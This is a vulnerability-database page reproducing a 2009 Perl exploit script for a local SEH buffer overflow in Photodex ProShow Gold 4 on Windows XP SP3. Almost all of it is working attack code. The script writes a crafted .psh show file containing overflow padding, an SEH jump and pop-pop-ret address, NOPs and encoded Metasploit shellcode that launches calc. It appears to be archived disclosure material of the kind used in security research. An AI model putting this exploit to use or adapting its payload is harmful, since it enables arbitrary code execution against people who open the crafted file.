Lucene search
K

Photodex ProShow Gold 4 (Windows XP SP3) - '.psh' Universal Buffer Overflow (SEH)

🗓️ 24 Aug 2009 00:00:00Reported by corelanc0d3rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

ProShow Gold 4 BOF on Windows XP SP3 with '.psh' Universal Buffer Overflow (SEH). Vulnerability detected by Bkis, sploit coded by corelanc0d3r on August 20, 2009. Local exploit for Photodex ProShow Gold 4.0

Code
#
# [+] Vulnerability     : ProShow Gold 4 BOF
# [+] Detected by       : Bkis - http://blog.bkis.com/?p=737
# [*] Sploit coded by   : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com)
# [*] Sploit coded on   : August 20, 2009
# [*] Type              : local
# [*] OS                : Windows
# [*] Product           : Photodex ProShow Gold
# [*] Versions affected : 4.0
# [*] Download link     : http://www.photodex.com/downloads/go_proshowgold
# [*] -------------------------------------------------------------------------
# [*] Method            : SEH - Universal
# [*] Tested on         : Windows XP SP3 En
# [*] Greetz&Tx to      : Saumil/SK
# [*] -------------------------------------------------------------------------
#                                               MMMMM~.                          
#                                               MMMMM?.                          
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.   
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:  
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:  
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:  
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:  
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:  
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:  
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:  
#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.  
#                                                                   eip hunters
# -----------------------------------------------------------------------------
# Script provided 'as is', without any warranty. 
# Use for educational purposes only.
#
print " [+] Preparing payload\n";
my $sploitfile="proshowsploit.psh";
my $fileheader="Photodex(R) ProShow(TM) Show File Version=0\n".
"proshowVersion=2549\n".
"title=Untitled ProShow 1\n".
"fileName=proshowsploit.psh\n".
"description=''\n".
"showAspect=1\n".
"showSizeX=16\n".
"showSizeY=9\n".
"loop=1\n".
"loopRestart=1\n".
"displaySizeX=704\n".
"displaySizeY=528\n".
"videoSizeX=720\n".
"videoSizeY=480\n".
"videoFrameRate=29970\n".
"videoBitRate=1120000\n".
"videoMuxBitRate=1394400\n".
"outputImageSizeX=1024\n".
"outputImageSizeY=768\n".
"outputQuality=80\n".
"toolbarEnable=1\n".
"allowQuit=1\n".
"allowPlay=1\n".
"allowTime=1\n".
"allowRestart=1\n".
"allowSave=1\n".
"allowSaveAll=1\n".
"allowPrint=1\n".
"allowPrintAll=1\n".
"allowCopy=1\n".
"allowSaver=1\n".
"allowCta=1\n".
"ctaLabel=ProShow Info\n".
"ctaURL=http://www.photodex.com/\n".
"background=1\n".
"bgOutlineColor=0\n".
"bgSizeMode=1\n".
"bgColorizeColor=8421504\n".
"waterOpacity=128\n".
"waterZoom=10000\n".
"waterColorizeColor=8421504\n".
"musicVolumeOffset=100\n".
"defaultCellVolumeOffset=100\n".
"defaultCellFadeIn=100\n".
"defaultCellFadeOut=100\n".
"defaultMusicVolumeOffset=50\n".
"defaultMusicFadeIn=100\n".
"defaultMusicFadeOut=100\n".
"maxDispWidth=800\n".
"maxDispHeight=600\n".
"maxRender=1\n".
"maxRenderWidth=800\n".
"maxRenderHeight=600\n".
"randomTransitions=FFFFFFFF:FFFFFFFF:FFFFFFFF:FFFFFFFF:FFFFFFFF:FFFFFFFF:FFFFFFFF:FFFFFFFF:FFFFFFFF:FFFFFFFF\n".
"makeFileLocalFolder=c:/\n".
"cells=2\n".
"cell[0].imageEnable=1\n".
"cell[0].nrOfImages=1\n".
"cell[0].images[0].image=../../../../../Media Sources/ProShow Gold - Built-In Content/Backgrounds/Abstract_02.jpg";
my $junk = "A" x 6120;
my $nseh = "\xeb\x18\x90\x90";
my $seh = pack('V',0x01a614ea);
my $nop="\x90" x 30;
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode="\xda\xd1\xd9\x74\x24\xf4\x2b\xc9\xb1\x1e\xbd\x78\x41\xbf" .
"\x6f\x58\x83\xe8\xfc\x31\x68\x14\x03\x68\x6c\xa3\x4a\x93" .
"\x64\x67\xb5\x6c\x74\xe3\xf0\x50\xff\x8f\xff\xd0\xfe\x80" .
"\x8b\x6e\x18\xd4\xd3\x50\x19\x01\xa2\x1b\x2d\x5e\x34\xf2" .
"\x7c\xa0\xae\xa6\xfa\xe0\xa5\xb1\xc3\x2b\x48\xbf\x01\x40" .
"\xa7\x84\xd1\xb3\x4c\x8e\x3c\x30\x13\x54\xbf\xac\xca\x1f" .
"\xb3\x79\x98\x7f\xd7\x7c\x75\xf4\xfb\xf5\x88\xe0\x8a\x56" .
"\xaf\xf2\x4f\x39\x9e\x0c\x2f\x90\x84\x7b\xe9\x2c\xce\x3c" .
"\xf9\xc7\xa0\xa0\xac\x53\x28\xd1\x27\x9b\x2a\x21\x5d\x0c" .
"\x45\x52\x2b\xa8\xca\xfa\xb3\x4f\x7e\xf4\x94\x50\x98\x6a" .
"\x7b\xc3\x04\x6d";

my $junk2="D" x (2000-length($shellcode));
my $filefooter = "\ncell[0].images[0].imageEnable=1\n".
"cell[0].images[0].name=Abstract_02\n".
"cell[0].images[0].replaceableTemplate=1\n".
"cell[0].images[0].sizeMode=1\n".
"cell[0].images[0].colorizeColor=8421504\n".
"cell[0].images[0].colorizeStrength=10000\n".
"cell[0].images[0].outlineColor=16777215\n".
"cell[0].images[0].aspectX=4\n".
"cell[0].images[0].aspectY=3\n".
"cell[0].images[0].videoVolume=100\n".
"cell[0].images[0].objectId=1\n".
"cell[0].images[0].videoSpeed=100\n".
"cell[0].images[0].nrOfKeyframes=2\n".
"cell[0].images[0].keyframes[0].timeSegment=1\n".
"cell[0].images[0].keyframes[0].attributeMask=-1\n".
"cell[0].images[0].keyframes[0].zoomX=10000\n".
"cell[0].images[0].keyframes[0].zoomY=10000\n".
"cell[0].images[0].keyframes[0].panAccelType=1\n".
"cell[0].images[0].keyframes[0].zoomXAccelType=1\n".
"cell[0].images[0].keyframes[0].zoomYAccelType=1\n".
"cell[0].images[0].keyframes[0].rotationAccelType=1\n".
"cell[0].images[0].keyframes[0].motionSmoothness=-1\n".
"cell[0].images[0].keyframes[0].lockAR=1\n".
"cell[0].images[0].keyframes[0].transparency=0\n".
"cell[0].images[0].keyframes[0].colorizeColor=8421504\n".
"cell[0].images[0].keyframes[0].colorizeStrength=10000\n".
"cell[0].images[0].keyframes[0].shadowOffsetX=70\n".
"cell[0].images[0].keyframes[0].shadowOffsetY=70\n".
"cell[0].images[0].keyframes[1].timestamp=10000\n".
"cell[0].images[0].keyframes[1].timeSegment=3\n".
"cell[0].images[0].keyframes[1].segmentTimestamp=10000\n".
"cell[0].images[0].keyframes[1].attributeMask=-1\n".
"cell[0].images[0].keyframes[1].zoomX=10000\n".
"cell[0].images[0].keyframes[1].zoomY=10000\n".
"cell[0].images[0].keyframes[1].panAccelType=1\n".
"cell[0].images[0].keyframes[1].zoomXAccelType=1\n".
"cell[0].images[0].keyframes[1].zoomYAccelType=1\n".
"cell[0].images[0].keyframes[1].rotationAccelType=1\n".
"cell[0].images[0].keyframes[1].motionSmoothness=-1\n".
"cell[0].images[0].keyframes[1].lockAR=1\n".
"cell[0].images[0].keyframes[1].transparency=0\n".
"cell[0].images[0].keyframes[1].colorizeColor=8421504\n".
"cell[0].images[0].keyframes[1].colorizeStrength=10000\n".
"cell[0].images[0].keyframes[1].shadowOffsetX=70\n".
"cell[0].images[0].keyframes[1].shadowOffsetY=70\n".
"cell[0].background=1\n".
"cell[0].bgDefault=1\n".
"cell[0].bgSizeMode=1\n".
"cell[0].bgColorizeColor=8421504\n".
"cell[0].sound.useDefault=1\n".
"cell[0].sound.volume=100\n".
"cell[0].sound.fadeIn=100\n".
"cell[0].sound.fadeOut=100\n".
"cell[0].sound.async=1\n".
"cell[0].sound.musicUseDefault=1\n".
"cell[0].sound.musicVolume=50\n".
"cell[0].sound.musicFadeIn=100\n".
"cell[0].sound.musicFadeOut=100\n".
"cell[0].musicVolumeOffset=50\n".
"cell[0].time=3000\n".
"cell[0].transId=2\n".
"cell[0].transTime=3000\n".
"cell[0].includeGlobalCaptions=1\n".
"cell[1].imageEnable=1\n".
"cell[1].nrOfImages=1\n".
"cell[1].images[0].image=../../../../../Media Sources/ProShow Gold - Built-In Content/Backgrounds/Abstract_01.jpg\n".
"cell[1].images[0].imageEnable=1\n".
"cell[1].images[0].name=Abstract_01\n".
"cell[1].images[0].replaceableTemplate=1\n".
"cell[1].images[0].sizeMode=1\n".
"cell[1].images[0].colorizeColor=8421504\n".
"cell[1].images[0].colorizeStrength=10000\n".
"cell[1].images[0].outlineColor=16777215\n".
"cell[1].images[0].aspectX=4\n".
"cell[1].images[0].aspectY=3\n".
"cell[1].images[0].videoVolume=100\n".
"cell[1].images[0].objectId=2\n".
"cell[1].images[0].videoSpeed=100\n".
"cell[1].images[0].nrOfKeyframes=2\n".
"cell[1].images[0].keyframes[0].timeSegment=1\n".
"cell[1].images[0].keyframes[0].attributeMask=-1\n".
"cell[1].images[0].keyframes[0].zoomX=10000\n".
"cell[1].images[0].keyframes[0].zoomY=10000\n".
"cell[1].images[0].keyframes[0].panAccelType=1\n".
"cell[1].images[0].keyframes[0].zoomXAccelType=1\n".
"cell[1].images[0].keyframes[0].zoomYAccelType=1\n".
"cell[1].images[0].keyframes[0].rotationAccelType=1\n".
"cell[1].images[0].keyframes[0].motionSmoothness=-1\n".
"cell[1].images[0].keyframes[0].lockAR=1\n".
"cell[1].images[0].keyframes[0].transparency=0\n".
"cell[1].images[0].keyframes[0].colorizeColor=8421504\n".
"cell[1].images[0].keyframes[0].colorizeStrength=10000\n".
"cell[1].images[0].keyframes[0].shadowOffsetX=70\n".
"cell[1].images[0].keyframes[0].shadowOffsetY=70\n".
"cell[1].images[0].keyframes[1].timestamp=10000\n".
"cell[1].images[0].keyframes[1].timeSegment=3\n".
"cell[1].images[0].keyframes[1].segmentTimestamp=10000\n".
"cell[1].images[0].keyframes[1].attributeMask=-1\n".
"cell[1].images[0].keyframes[1].zoomX=10000\n".
"cell[1].images[0].keyframes[1].zoomY=10000\n".
"cell[1].images[0].keyframes[1].panAccelType=1\n".
"cell[1].images[0].keyframes[1].zoomXAccelType=1\n".
"cell[1].images[0].keyframes[1].zoomYAccelType=1\n".
"cell[1].images[0].keyframes[1].rotationAccelType=1\n".
"cell[1].images[0].keyframes[1].motionSmoothness=-1\n".
"cell[1].images[0].keyframes[1].lockAR=1\n".
"cell[1].images[0].keyframes[1].transparency=0\n".
"cell[1].images[0].keyframes[1].colorizeColor=8421504\n".
"cell[1].images[0].keyframes[1].colorizeStrength=10000\n".
"cell[1].images[0].keyframes[1].shadowOffsetX=70\n".
"cell[1].images[0].keyframes[1].shadowOffsetY=70\n".
"cell[1].background=1\n".
"cell[1].bgDefault=1\n".
"cell[1].bgSizeMode=1\n".
"cell[1].bgColorizeColor=8421504\n".
"cell[1].sound.useDefault=1\n".
"cell[1].sound.volume=100\n".
"cell[1].sound.fadeIn=100\n".
"cell[1].sound.fadeOut=100\n".
"cell[1].sound.async=1\n".
"cell[1].sound.musicUseDefault=1\n".
"cell[1].sound.musicVolume=50\n".
"cell[1].sound.musicFadeIn=100\n".
"cell[1].sound.musicFadeOut=100\n".
"cell[1].musicVolumeOffset=50\n".
"cell[1].time=3000\n".
"cell[1].transId=2\n".
"cell[1].transTime=3000\n".
"cell[1].includeGlobalCaptions=1\n".
"modifierCount=0\n";

my $payload = $fileheader.$junk.$nseh.$seh.$nop.$shellcode.$junk2.$filefooter;

print " [+] Writing payload to file\n";
open($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);
print " [+] Exploit file " . $sploitfile . " created\n";
print " [+] Wrote " . length($payload) . " bytes\n";

# milw0rm.com [2009-08-24]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation